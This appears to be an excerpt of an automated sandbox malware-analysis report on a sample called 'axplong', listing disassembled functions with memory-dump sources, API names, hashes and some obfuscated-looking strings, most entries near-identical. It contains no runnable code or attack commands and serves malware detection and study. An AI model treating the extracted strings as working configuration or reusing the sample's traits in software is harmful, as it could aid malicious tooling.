                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
                              • String ID: puu2B7m$#$111$246122658369$FFNmLv==$FlpmMdzrTXUg$GlNgUSfi8Dy=$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$WWt=$fed3aa$invalid stoi argument$stoi argument out of range
                              • API String ID: 4234742559-2205604348
                              • Opcode ID: 15719c0ed48632518be622bee5f535fc2ab528fa3452574a15e1620e91f0cb3c
                              • Instruction ID: 3bf65b0d4530261ec4223ecf5e50cff0c6b71eba300fbddbfdb068774aca2e16
                              • Opcode Fuzzy Hash: 15719c0ed48632518be622bee5f535fc2ab528fa3452574a15e1620e91f0cb3c
                              • Instruction Fuzzy Hash: D133FB71A1018C9BEF18DF38CD897AD7B72AF85304F60829CE4059B3D6DB359A85CB52
                              Function 00D23068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: __floor_pentium4
                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                              • API String ID: 4168288129-2761157908
                              • Opcode ID: 82260cac88031403717aec34cdf3bba31d0a8d93898106f3aba9a38ed2a6e593
                              • Instruction ID: 4cb6b5d9b3ed284b7a78b6d6630fc8075fea641a23a99599020662ac6d231716
                              • Opcode Fuzzy Hash: 82260cac88031403717aec34cdf3bba31d0a8d93898106f3aba9a38ed2a6e593
                              • Instruction Fuzzy Hash: 68C25E71E046388FDB25CE28ED407E9B7B5EB58309F1441EAD84DE7240E779AE858F60
                              Function 00D22BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
                              • Instruction ID: 0a513303be21e6f4b8525d07d37f8adb04c708dd72e4311cbbe352ece4cb29c0
                              • Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
                              • Instruction Fuzzy Hash: 99F14071E002299FDF14CFA9D9806AEB7F1FF98314F15826AE915A7344D731AE41CBA0
                              Function 00CFCB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetSystemTimePreciseAsFileTime.KERNEL32(?,00CFCE82,?,?,?,?,00CFCEB7,?,?,?,?,?,?,00CFC42D,?,00000001), ref: 00CFCB33
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: Time$FilePreciseSystem
                              • String ID:
                              • API String ID: 1802150274-0
                              • Opcode ID: 96e69a9e2fa605495e2ac16f8ce1941863adc98149658f52764c53088b2a5483
                              • Instruction ID: 8d5b4471c5c9927363bb53883318b8b096c424d6035c1739193e958bb952370f
                              • Opcode Fuzzy Hash: 96e69a9e2fa605495e2ac16f8ce1941863adc98149658f52764c53088b2a5483
                              • Instruction Fuzzy Hash: 06D0223A74363C93CA052B94BC088BDBB089A01B103500111EE09A3220CA105C008BE6
                              Function 00D17D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 0
                              • API String ID: 0-4108050209
                              • Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
                              • Instruction ID: 82f77810d123e5cce0eca444b36350a86c64477185a9437f4f0c7eb4b3034410
                              • Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
                              • Instruction Fuzzy Hash: 3551346024C64AB6DB388A28B8967FE67FA9F51300F2C0459F882D76B2DE11DDC59271
                              Function 00CE4CF0 Relevance: .7, Instructions: 701COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b0652481412aee451177e93b49ba5f21a5ce41f6141767bcba27e9435f535809
                              • Instruction ID: 1d1f39e47afbc8fcb8c70dcc1da659df152260d832c900cd964c73461356a9fb
                              • Opcode Fuzzy Hash: b0652481412aee451177e93b49ba5f21a5ce41f6141767bcba27e9435f535809
                              • Instruction Fuzzy Hash: FD2260B7F516144BDB0CCE9DDCA27ECB2E3AFD8214B0E803DA40AE3345EA79D9159644
                              Function 00D26F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8fb4e2645a5d22981d6273dd460211a7f7ae1d4121e8f8c17b5d1cdc76b3a286
                              • Instruction ID: bcbee463eb4cef6473bb9ada970eeb7021565c1e57f2b4e959871a91bbb445da
                              • Opcode Fuzzy Hash: 8fb4e2645a5d22981d6273dd460211a7f7ae1d4121e8f8c17b5d1cdc76b3a286
                              • Instruction Fuzzy Hash: 9DB1AB31210618CFDB25CF28D486B657BB0FF15368F298658E8D9CF2A1C336E992CB50
                              Function 00CFD312 Relevance: .2, Instructions: 172COMMON
                              Download Yara Rule
                              APIs
                              • ___std_exception_copy.LIBVCRUNTIME ref: 00CE247E
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID: ___std_exception_copy
                              • String ID:
                              • API String ID: 2659868963-0
                              • Opcode ID: 35f6fb5c28046aa94a21d41bfcbe631d4085576d021cb85f363b93e999bd9f27
                              • Instruction ID: 67c8fe2958fdbd71fceee60bdd03072d487b6d59f74e676a1e6d4186944b8ec3
                              • Opcode Fuzzy Hash: 35f6fb5c28046aa94a21d41bfcbe631d4085576d021cb85f363b93e999bd9f27
                              • Instruction Fuzzy Hash: 9B51ABB1A007098FDB15CF59E8817BAB7F6FB08310F24856AD516EB295D730AA40CF72
                              Function 00CE4AF0 Relevance: .2, Instructions: 158COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 47ffaf07eedd68ebdad1a7a7736a018bb9476953438c7bcd59f91a9102f88633
                              • Instruction ID: 6c81df7f1d479866007fff1200bd9692d7bb9ef623d448259207fb86c2fc4955
                              • Opcode Fuzzy Hash: 47ffaf07eedd68ebdad1a7a7736a018bb9476953438c7bcd59f91a9102f88633
                              • Instruction Fuzzy Hash: B851B0706087D18FC319CF29811563ABBF1AF95201F084A9EE4E687292D775DA44CBA2
                              Function 00D38D70 Relevance: .1, Instructions: 106COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9f0cf21e906524e5d082cf88163f58692f7d293b3cb0ac4142f19ef771890846
                              • Instruction ID: 8e6548576cbe72300e72192d31e0dde3a1925b05dcec1914060abf4cfd54e8c6
                              • Opcode Fuzzy Hash: 9f0cf21e906524e5d082cf88163f58692f7d293b3cb0ac4142f19ef771890846
                              • Instruction Fuzzy Hash: D4419F6284E3D54EC703873449390927FB06E23104B1E49DFE4C2EB0F3D659991AE367
                              Function 00D2777B Relevance: .1, Instructions: 104COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 08272797ef95b5c5c73fae56933c20e83511c1205ecc23d685cd6cdb25b46200
                              • Instruction ID: c7ae1dd3902f242e359de6e8f51eb05c579c1d75eedc06518e029ab3b4679672
                              • Opcode Fuzzy Hash: 08272797ef95b5c5c73fae56933c20e83511c1205ecc23d685cd6cdb25b46200
                              • Instruction Fuzzy Hash: 8A21B673F205394B770CC47E8C5727DB6E1C78C541745423AE8A6EA2C1D968D917E2E4
                              Function 00D2765B Relevance: .1, Instructions: 81COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: bdcadc43a55ff88fe24847a58905fca32f68a5efc4ccfbc8a3a6dadf973e24bd
                              • Instruction ID: 45bb74f68c5857875998ddbd81ec81209aebd7495c86c1668cbfcda2dec7d0bc
                              • Opcode Fuzzy Hash: bdcadc43a55ff88fe24847a58905fca32f68a5efc4ccfbc8a3a6dadf973e24bd
                              • Instruction Fuzzy Hash: F6118A23F30C355B675C817D8C1727AA5D2DBD825471F533AD826E7384E994DE23D2A0
                              Function 00D28720 Relevance: .1, Instructions: 76COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FAA000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FD6000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FDD000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000FEC000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188005306.0000000000FED000.00000080.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188132597.0000000001184000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4188156747.0000000001186000.00000080.00000001.01000000.00000007.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_1_2_ce0000_axplong.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                              • Instruction ID: 839f82f953b6961de00e1a12c50050f802e7e067cc14ca473b9c3027bfb65eb8
                              • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                              • Instruction Fuzzy Hash: A911387B20317143D6048A2DF8F45B6A796EAF5329B3C437AC0424B758DA32E945FA20
                              Function 00D1645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00CE0000, based on PE: true
                              • Associated: 00000001.00000002.4187522404.0000000000CE0000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187544382.0000000000D42000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187615019.0000000000D49000.00000004.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
                              • Associated: 00000001.00000002.4187640247.0000000000EC8000.00000040.00000001.01000000.00000007.sdmpDownload File
